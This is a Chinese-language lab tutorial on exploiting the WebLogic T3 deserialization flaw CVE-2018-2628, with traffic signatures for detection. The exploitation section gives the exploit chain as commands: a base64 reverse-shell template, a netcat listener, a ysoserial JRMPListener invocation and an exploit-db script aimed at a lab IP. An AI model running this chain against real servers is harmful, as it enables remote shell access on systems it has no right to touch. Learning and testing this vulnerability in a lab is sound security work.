+

T3协议
WebLogic 服务器 中的RMI通过T3协议进行通信传输,T3协议在weblogic控制台是默认开启的,攻击者通过传入恶意的反序列化数据,接收数据后进行反序列化
T3协议中传输的数据包存在非反序列化数据的部分和反序列化数据的部分,只要把其中反序列化数据部分的一部分替换成我们的恶意序列化数据就可以了,有两种替换方式 1.将weblogic发送的JAVA序列化数据部分替换为恶意的序列化数据 2.将weblogic发送的JAVA序列化数据的非序列化数据部分与恶意的序列化数据进行拼接

流量特征

流量特征有"weblogic.jms.common.StreamMessageImpl"、"com.tangosol.coherence.transactional"等字眼,他也会有一些命令执行函数的特征,例如whois,ls等

攻击流程

漏洞检测

1.
使用 POC 脚本:利用 GitHub 上提供的 POC 脚本(https://github.com/Aedoo/CVE-2018-2628-MultiThreading)检测漏洞是否存在。

漏洞利用

1.
反弹 Shell 准备
准备一个反弹 Shell 的命令,并使用 base64 编码,因为直接的命令在 Runtime.getRuntime().exec()​ 中可能不适用。
示例命令: bash
复制
bash -c 'echo | base64 -d | bash -i'
在攻击机上使用 Netcat 监听来接收反弹 Shell: bash
复制
nc -lnvp 8888
2.
漏洞利用工具准备
下载并使用 ysoserial.jar​ 工具,准备利用代码: bash
复制
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 38080 CommonsCollections1 ''
JRMPListener 监听端口 38080,并等待远程连接。
3.
执行攻击
使用已准备好的 Python 脚本(例如从 https://www.exploit-db.com/exploits/44553 获取的 exploit.py​),配置脚本参数包括靶机 IP、端口、ysoserial 路径、JRMPListener IP 和端口。
执行命令: bash
复制
python2 exploit.py 192.168.28.136 7001 /path/to/ysoserial.jar 38080 JRMPClient
监听端口上接收到的连接确认漏洞利用成功,执行 whoami​ 或其他命令验证。

结果验证

如果配置和步骤正确,攻击机应该能够通过 Netcat 监听端口接收到来自 Weblogic 服务器的反弹 Shell,进一步确认漏洞成功被利用。